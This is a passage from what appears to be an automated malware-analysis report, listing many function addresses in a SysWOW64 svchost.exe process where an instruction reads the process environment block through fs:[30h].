Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03228397 mov eax, dword ptr fs:[00000030h]	2_2_03228397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03228397 mov eax, dword ptr fs:[00000030h]	2_2_03228397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03228397 mov eax, dword ptr fs:[00000030h]	2_2_03228397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]	2_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]	2_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]	2_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]	2_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]	2_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]	2_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]	2_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]	2_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0324E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0324E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0324E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032663FF mov eax, dword ptr fs:[00000030h]	2_2_032663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EC3CD mov eax, dword ptr fs:[00000030h]	2_2_032EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032383C0 mov eax, dword ptr fs:[00000030h]	2_2_032383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032383C0 mov eax, dword ptr fs:[00000030h]	2_2_032383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032383C0 mov eax, dword ptr fs:[00000030h]	2_2_032383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032383C0 mov eax, dword ptr fs:[00000030h]	2_2_032383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B63C0 mov eax, dword ptr fs:[00000030h]	2_2_032B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE3DB mov eax, dword ptr fs:[00000030h]	2_2_032DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE3DB mov eax, dword ptr fs:[00000030h]	2_2_032DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE3DB mov ecx, dword ptr fs:[00000030h]	2_2_032DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE3DB mov eax, dword ptr fs:[00000030h]	2_2_032DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D43D4 mov eax, dword ptr fs:[00000030h]	2_2_032D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D43D4 mov eax, dword ptr fs:[00000030h]	2_2_032D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322823B mov eax, dword ptr fs:[00000030h]	2_2_0322823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03234260 mov eax, dword ptr fs:[00000030h]	2_2_03234260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03234260 mov eax, dword ptr fs:[00000030h]	2_2_03234260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03234260 mov eax, dword ptr fs:[00000030h]	2_2_03234260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322826B mov eax, dword ptr fs:[00000030h]	2_2_0322826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B8243 mov eax, dword ptr fs:[00000030h]	2_2_032B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B8243 mov ecx, dword ptr fs:[00000030h]	2_2_032B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0330625D mov eax, dword ptr fs:[00000030h]	2_2_0330625D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322A250 mov eax, dword ptr fs:[00000030h]	2_2_0322A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236259 mov eax, dword ptr fs:[00000030h]	2_2_03236259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EA250 mov eax, dword ptr fs:[00000030h]	2_2_032EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EA250 mov eax, dword ptr fs:[00000030h]	2_2_032EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032402A0 mov eax, dword ptr fs:[00000030h]	2_2_032402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032402A0 mov eax, dword ptr fs:[00000030h]	2_2_032402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C62A0 mov eax, dword ptr fs:[00000030h]	2_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C62A0 mov ecx, dword ptr fs:[00000030h]	2_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C62A0 mov eax, dword ptr fs:[00000030h]	2_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C62A0 mov eax, dword ptr fs:[00000030h]	2_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C62A0 mov eax, dword ptr fs:[00000030h]	2_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C62A0 mov eax, dword ptr fs:[00000030h]	2_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E284 mov eax, dword ptr fs:[00000030h]	2_2_0326E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E284 mov eax, dword ptr fs:[00000030h]	2_2_0326E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B0283 mov eax, dword ptr fs:[00000030h]	2_2_032B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B0283 mov eax, dword ptr fs:[00000030h]	2_2_032B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B0283 mov eax, dword ptr fs:[00000030h]	2_2_032B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032402E1 mov eax, dword ptr fs:[00000030h]	2_2_032402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032402E1 mov eax, dword ptr fs:[00000030h]	2_2_032402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032402E1 mov eax, dword ptr fs:[00000030h]	2_2_032402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_033062D6 mov eax, dword ptr fs:[00000030h]	2_2_033062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03260124 mov eax, dword ptr fs:[00000030h]	2_2_03260124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov ecx, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov ecx, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov ecx, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DE10E mov ecx, dword ptr fs:[00000030h]	2_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DA118 mov ecx, dword ptr fs:[00000030h]	2_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DA118 mov eax, dword ptr fs:[00000030h]	2_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DA118 mov eax, dword ptr fs:[00000030h]	2_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DA118 mov eax, dword ptr fs:[00000030h]	2_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F0115 mov eax, dword ptr fs:[00000030h]	2_2_032F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304164 mov eax, dword ptr fs:[00000030h]	2_2_03304164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304164 mov eax, dword ptr fs:[00000030h]	2_2_03304164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C4144 mov eax, dword ptr fs:[00000030h]	2_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C4144 mov eax, dword ptr fs:[00000030h]	2_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C4144 mov ecx, dword ptr fs:[00000030h]	2_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C4144 mov eax, dword ptr fs:[00000030h]	2_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C4144 mov eax, dword ptr fs:[00000030h]	2_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322C156 mov eax, dword ptr fs:[00000030h]	2_2_0322C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C8158 mov eax, dword ptr fs:[00000030h]	2_2_032C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236154 mov eax, dword ptr fs:[00000030h]	2_2_03236154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236154 mov eax, dword ptr fs:[00000030h]	2_2_03236154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03270185 mov eax, dword ptr fs:[00000030h]	2_2_03270185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EC188 mov eax, dword ptr fs:[00000030h]	2_2_032EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EC188 mov eax, dword ptr fs:[00000030h]	2_2_032EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D4180 mov eax, dword ptr fs:[00000030h]	2_2_032D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D4180 mov eax, dword ptr fs:[00000030h]	2_2_032D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B019F mov eax, dword ptr fs:[00000030h]	2_2_032B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B019F mov eax, dword ptr fs:[00000030h]	2_2_032B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B019F mov eax, dword ptr fs:[00000030h]	2_2_032B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B019F mov eax, dword ptr fs:[00000030h]	2_2_032B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322A197 mov eax, dword ptr fs:[00000030h]	2_2_0322A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322A197 mov eax, dword ptr fs:[00000030h]	2_2_0322A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322A197 mov eax, dword ptr fs:[00000030h]	2_2_0322A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_033061E5 mov eax, dword ptr fs:[00000030h]	2_2_033061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032601F8 mov eax, dword ptr fs:[00000030h]	2_2_032601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F61C3 mov eax, dword ptr fs:[00000030h]	2_2_032F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F61C3 mov eax, dword ptr fs:[00000030h]	2_2_032F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322A020 mov eax, dword ptr fs:[00000030h]	2_2_0322A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322C020 mov eax, dword ptr fs:[00000030h]	2_2_0322C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C6030 mov eax, dword ptr fs:[00000030h]	2_2_032C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B4000 mov ecx, dword ptr fs:[00000030h]	2_2_032B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E016 mov eax, dword ptr fs:[00000030h]	2_2_0324E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E016 mov eax, dword ptr fs:[00000030h]	2_2_0324E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E016 mov eax, dword ptr fs:[00000030h]	2_2_0324E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E016 mov eax, dword ptr fs:[00000030h]	2_2_0324E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325C073 mov eax, dword ptr fs:[00000030h]	2_2_0325C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03232050 mov eax, dword ptr fs:[00000030h]	2_2_03232050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B6050 mov eax, dword ptr fs:[00000030h]	2_2_032B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032280A0 mov eax, dword ptr fs:[00000030h]	2_2_032280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C80A8 mov eax, dword ptr fs:[00000030h]	2_2_032C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F60B8 mov eax, dword ptr fs:[00000030h]	2_2_032F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F60B8 mov ecx, dword ptr fs:[00000030h]	2_2_032F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323208A mov eax, dword ptr fs:[00000030h]	2_2_0323208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_0322A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032380E9 mov eax, dword ptr fs:[00000030h]	2_2_032380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B60E0 mov eax, dword ptr fs:[00000030h]	2_2_032B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322C0F0 mov eax, dword ptr fs:[00000030h]	2_2_0322C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032720F0 mov ecx, dword ptr fs:[00000030h]	2_2_032720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B20DE mov eax, dword ptr fs:[00000030h]	2_2_032B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326C720 mov eax, dword ptr fs:[00000030h]	2_2_0326C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326C720 mov eax, dword ptr fs:[00000030h]	2_2_0326C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326273C mov eax, dword ptr fs:[00000030h]	2_2_0326273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326273C mov ecx, dword ptr fs:[00000030h]	2_2_0326273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326273C mov eax, dword ptr fs:[00000030h]	2_2_0326273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AC730 mov eax, dword ptr fs:[00000030h]	2_2_032AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326C700 mov eax, dword ptr fs:[00000030h]	2_2_0326C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03230710 mov eax, dword ptr fs:[00000030h]	2_2_03230710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03260710 mov eax, dword ptr fs:[00000030h]	2_2_03260710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03238770 mov eax, dword ptr fs:[00000030h]	2_2_03238770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326674D mov esi, dword ptr fs:[00000030h]	2_2_0326674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326674D mov eax, dword ptr fs:[00000030h]	2_2_0326674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326674D mov eax, dword ptr fs:[00000030h]	2_2_0326674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03230750 mov eax, dword ptr fs:[00000030h]	2_2_03230750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BE75D mov eax, dword ptr fs:[00000030h]	2_2_032BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272750 mov eax, dword ptr fs:[00000030h]	2_2_03272750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272750 mov eax, dword ptr fs:[00000030h]	2_2_03272750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B4755 mov eax, dword ptr fs:[00000030h]	2_2_032B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032307AF mov eax, dword ptr fs:[00000030h]	2_2_032307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E47A0 mov eax, dword ptr fs:[00000030h]	2_2_032E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D678E mov eax, dword ptr fs:[00000030h]	2_2_032D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032527ED mov eax, dword ptr fs:[00000030h]	2_2_032527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032527ED mov eax, dword ptr fs:[00000030h]	2_2_032527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032527ED mov eax, dword ptr fs:[00000030h]	2_2_032527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BE7E1 mov eax, dword ptr fs:[00000030h]	2_2_032BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032347FB mov eax, dword ptr fs:[00000030h]	2_2_032347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032347FB mov eax, dword ptr fs:[00000030h]	2_2_032347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323C7C0 mov eax, dword ptr fs:[00000030h]	2_2_0323C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B07C3 mov eax, dword ptr fs:[00000030h]	2_2_032B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E627 mov eax, dword ptr fs:[00000030h]	2_2_0324E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03266620 mov eax, dword ptr fs:[00000030h]	2_2_03266620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03268620 mov eax, dword ptr fs:[00000030h]	2_2_03268620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323262C mov eax, dword ptr fs:[00000030h]	2_2_0323262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE609 mov eax, dword ptr fs:[00000030h]	2_2_032AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]	2_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]	2_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]	2_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]	2_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]	2_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]	2_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]	2_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272619 mov eax, dword ptr fs:[00000030h]	2_2_03272619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F866E mov eax, dword ptr fs:[00000030h]	2_2_032F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F866E mov eax, dword ptr fs:[00000030h]	2_2_032F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A660 mov eax, dword ptr fs:[00000030h]	2_2_0326A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A660 mov eax, dword ptr fs:[00000030h]	2_2_0326A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03262674 mov eax, dword ptr fs:[00000030h]	2_2_03262674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324C640 mov eax, dword ptr fs:[00000030h]	2_2_0324C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326C6A6 mov eax, dword ptr fs:[00000030h]	2_2_0326C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032666B0 mov eax, dword ptr fs:[00000030h]	2_2_032666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03234690 mov eax, dword ptr fs:[00000030h]	2_2_03234690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03234690 mov eax, dword ptr fs:[00000030h]	2_2_03234690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_032AE6F2
